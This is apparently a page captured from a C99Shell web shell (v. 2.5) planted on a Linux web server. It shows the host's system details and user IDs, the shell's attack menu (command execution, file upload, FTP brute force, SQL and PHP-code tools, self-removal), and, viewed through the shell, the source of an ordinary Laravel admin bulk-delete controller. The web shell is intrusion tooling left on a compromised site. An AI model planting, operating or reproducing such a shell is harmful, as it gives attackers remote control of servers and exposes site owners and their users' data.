!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/game.picotech.app/public_html/core/app/Http/Controllers/Back/   drwxr-xr-x
Free 29.22 GB of 117.98 GB (24.77%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     BulkDeleteController.php (3.36 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Back;

use 
App\Http\Controllers\Controller;
use 
App\Models\Item;
use 
App\Models\Notification;
use 
App\Models\Order;
use 
App\Models\Post;
use 
App\Models\Transaction;
use 
App\Repositories\Back\ItemRepository;
use 
Illuminate\Http\Request;

class 
BulkDeleteController extends Controller
{
     
/**
     * Constructor Method.
     *
     * BulkDeleteController Authentication
     */
    
public function __construct()
    {
        
$this->middleware('auth:admin');
        
$this->middleware('adminlocalize');
    }

    public function 
bulkDelete(Request $request)
    {
       
$ids array_filter($request->ids);
        if(!
$ids){
            return 
redirect()->back()->withError(__('Selected is empty'));
        }
        
            
$ids explode(',',$ids[0]);
           
            if(
$request->table == 'items'){
                
$ItemRepository = new ItemRepository();
                foreach(
$ids as $id){
                    
$id = (int)$id;
                    
$item Item::findOrFail($id);
                    
$ItemRepository->delete($item);
                }
            } 
  
            if(
$request->table == 'transactions'){
                foreach(
$ids as $id){
                    
$id = (int)$id;
                    
Transaction::findOrFail($id)->delete();
                }
            } 

            
// if($request->table == 'posts'){
            //     foreach($ids as $id){
            //         $id = (int)$id;
            //         $post = Post::findOrFail($id);
            //         $images = json_decode($post->photo,true);
            //         foreach($images as $image){
            //             if (file_exists(base_path('../').'assets/images/'.$image)) {
            //                 unlink(base_path('../').'assets/images/'.$image);
            //             }
            //         }
            //         $post->delete();
            //     }
            // } 
            
if ($request->table == 'posts') {
                foreach (
$ids as $id) {
                    
$id = (int) $id;
                    
$post Post::findOrFail($id);
            
                    
// Check if the post has a photo before attempting to delete
                    
if (!empty($post->photo)) {
                        
$imagePath base_path('../') . 'assets/images/' $post->photo;
            
                        if (
file_exists($imagePath)) {
                            
unlink($imagePath);
                        }
                    }
            
                    
// Delete the post record
                    
$post->delete();
                }
            }
            
            if(
$request->table == 'orders'){
                foreach(
$ids as $id){
                    
$id = (int)$id;
                    
$order Order::findOrFail($id);
                    
$order->tranaction->delete();
                    if(
Notification::where('order_id',$id)->exists()){
                        
Notification::where('order_id',$id)->delete();
                    }
                    if(
count($order->tracks_data)>0){
                        foreach(
$order->tracks_data as $track){
                            
$track->delete();
                        }
                    }
                    
$order->delete();
                    
                }
            } 

            return 
redirect()->back()->withSuccess(__('Data Deleted Successfully.'));
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0074 ]--